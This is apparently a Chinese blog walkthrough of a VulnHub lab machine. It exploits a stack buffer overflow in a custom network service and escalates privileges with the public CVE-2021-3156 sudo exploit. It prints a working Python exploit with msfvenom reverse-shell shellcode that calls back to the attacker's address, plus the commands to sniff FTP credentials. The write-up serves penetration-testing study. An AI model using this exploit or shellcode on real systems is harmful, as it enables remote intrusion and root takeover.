1、靶机地址
该篇为哈利波特死亡圣器系列最终部,也是最难的一个靶机,难度真的是逐步提升!!!
2、渗透过程
确认靶机IP,kali IP,探测靶机开放端口
详细的扫描下,发现21端口可以匿名访问,这里有两个ssh,22和2222,还有80端口和一个不知道啥玩意的9898端口
先访问80端口,哇哦~很帅的一张图,但是没什么有用的
目录爆破,也没有什么有用的!
那就先放着,试试ftp匿名登录,发现了个文件,server_hogwarts,下载到本地看看是个什么鬼
这还是个可执行文件,受个权,执行下
这边利用nc一下本地 9898端口,为啥要这样呢,运行那个后,没啥反应,打开ps查看下进程发现了东西,所以用nc试试,ps -aux|grep server就可以看到啦
发现了是一个咒语的选择,好像没啥用,一般遇到这种可执行文件,本能的会想,是不是存在堆栈溢出漏洞,利用checksec检查下这个文件有没有防护措施,发现没得
STACK CANARY
:在初始化堆栈时在栈底插入一个随机生成的 cookie,在函数返回前调用__stack_chk_fail
检查 cookie 有没有发生变化,若发生变化则不返回,而直接终止程序。由于缓冲区溢出攻击时往往会覆盖掉 cookie 的值,故该保护机制开启时会导致常规的溢出攻击失效,程序会直接终止而不是跳转至攻击者注入的目标地址。NX
:开启时栈中数据没有执行权限,即攻击者不能通过缓冲区溢出注入攻击代码;PIE
:编译时将程序编译为位置无关, 即程序运行时各个段(如代码段等)加载的虚拟地址也是在装载时才确定,使程序的内存布局难以预料。将kali上的ALSR安全机制关闭,该技术回导致地址空间随机化,不便调试
echo 0 > /proc/sys/kernel/randomize_va_space
使用edb进行分析
apt install edb-debugger
然后就是导入这个文件
选择这个,点ok
生成500个A进行一般探测
在edb中点运行按钮,之后将500个A复制粘贴到那会的选择咒语界面,这边返回了个地址
发现变成了 0x41414141
,而 ‘0x41’ 为 ‘A’ 的十六进制编码,说明我们输入的字符成功覆盖了函数返回地址,导致程序发生了错误跳转。
使用 msf-pattern
工具进行溢出点在输入字符串中位置的探测: msf-pattern_create -l 500
重新打开一次那个文件,还有edb,将生成的字符串输入到咒语选择的地方
提示我们此时 EIP 中的值为 0x64413764
,即我们输入的字符串中编码为“\x64\x41\x37\x64”的字串进入了 EIP 中。查找该段编码对应的字符串在模式字符串中的偏移量:
msf-pattern_offset -l 500 -q 64413764
也就是说从模式字符串中的第113个字符串开始造成了栈溢出。
python -c "print(112*'A' + 'BBBB' + 100*'C')"
发现第113、114、115、116个字符(“BBBB”)恰好进入 EIP,而其后的字符保留在栈中。
设想将反弹 shell 代码注入栈中,而使程序跳转到栈中执行(
jmp esp
),即可令靶机上的程序执行反弹 shell 代码生成反弹 shell。
找到
jmp esp
指令并记录其地址(0x08049d55
)
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.146 LPORT=4545 -b "\x00" -f py
LHOST
:改为 kali 的 IP;LPORT
:改为监听反弹 shell 的端口号;-b "\x00"
:过滤坏字符(’\0’),避免输入提前终止。
写入脚本exp.py,将ip改为靶机ip
import struct, socket
buf = b""
buf += b"\xd9\xd0\xbd\xd7\x21\xfc\xa7\xd9\x74\x24\xf4\x5a"
buf += b"\x29\xc9\xb1\x12\x31\x6a\x17\x83\xea\xfc\x03\xbd"
buf += b"\x32\x1e\x52\x70\xee\x29\x7e\x21\x53\x85\xeb\xc7"
buf += b"\xda\xc8\x5c\xa1\x11\x8a\x0e\x74\x1a\xb4\xfd\x06"
buf += b"\x13\xb2\x04\x6e\x64\xec\xcf\xfc\x0c\xef\x2f\x11"
buf += b"\x0c\x66\xce\xa1\xe8\x29\x40\x92\x47\xca\xeb\xf5"
buf += b"\x65\x4d\xb9\x9d\x1b\x61\x4d\x35\x8c\x52\x9e\xa7"
buf += b"\x25\x24\x03\x75\xe5\xbf\x25\xc9\x02\x0d\x25"payload = 112 * b'A' + struct.pack('I',0x08049d55) + 32 * b'\x90' + buf
s=socket.socket()
s.connect(('靶机ip',9898))
s.send((payload))
s.close()
执行payload脚本
本地开启监听,反弹shell成功
这边发现了一个类似于密钥的东西,尝试ssh一下,用户名是harry,原本的22端口登录不上,这里试了2222端口,登录成功
登录成功后尝试提权,发现sudo -l,有可利用的点,直接sudo -i提权,发现了第一个魂器和一个note.txt
horcrux_{NjogSGFSclkgUG90VGVyIGRFc1RyT3llZCBieSB2b2xEZU1vclQ=}
HaRrY PotTer dEsTrOyed by volDeMorT
Hello Admin!!
We have found that someone is trying to login to our ftp server by mistake.You are requested to analyze the traffic and figure out the user.
你好管理员! !
我们发现有人试图错误地登录我们的ftp服务器。你需要分析流量并找出用户。
根据提示,是要让我们把21端口的流量 监听分析一下,同时,使用ip a发现,这应该不是靶机本体,应该是在一个docker中,根据ip地址进行判断,这个2222端口应该是docker中的ssh,所以我们并没有进入到靶机本体的22端口,使用tcpdump -i eht0 port 21监听21端口流量,稍等一会
发现了用户名和密码,尝试使用其用户名和密码对22端口ssh,发现登录成功!同时也查到了第二个魂器!再使用ip a 查看到,确实刚才是在docker中
horcrux_{NzogTmFHaU5pIHRIZSBTbkFrZSBkZVN0cm9ZZWQgQnkgTmVWaWxsZSBMb25HYm9UVG9t}
NaGiNi tHe SnAke deStroYed By NeVille LonGboTTom
纳吉尼被纳威隆巴顿摧毁
下一步就是进行提权,获取第三个魂器,通过查看sudo的版本,上网查看后发现该版本存在exp可以利用
https://github.com/worawit/CVE-2021-3156/blob/main/exploit_nss.py
复制上面github的exp,按照要求将其中sudo的path修改为靶机的地址,然后利用nc将其上传至靶机,上传的方式很多,什么开启kali的web,wget一下,scp等等
这边在靶机上监听4444端口
在kali上访问靶机ip及端口,将修改好的exp上传
之后,在靶机上运行exp即可提权成功!
horcrux_{ODogVm9sRGVNb3JUIGRFZmVBdGVkIGJZIGhBcnJZIFBvVFRlUg==}
VolDeMorT dEfeAted bY hArrY PoTTeR
伏地魔被哈利波特击败!
最后,渗透结束!哈利波特死亡圣器三部曲结束!
3、总结
该靶机难度还是很大的,其中需要不断地进行探索,尤其是对于堆栈溢出执行远程代码的漏洞,需要理解其中的原理,然后再不断地尝试找寻跳转下一步操作的地址,进行payload的注入,这一步花了很长时间,也是弱项,再有就是得判断当前环境是否处于类似于虚拟机或docker环境中,并非本体系统中,需要进行判断,docker逃逸也是一个需要去了解学习的点,后面会进行更新,最后就是利用sudo进行提权,有时候没什么思路需要借助一些提权辅助脚本,之前的渗透中也提到过,可以去下载使用,总之!渗透就是得细心,耐心,再耐心,才能会抓住一些细小的点!
vulnhub靶机,目前就先告一段落,后续会在内网渗透上持续更新了,请大家继续关注,共同学习进步!
文章评论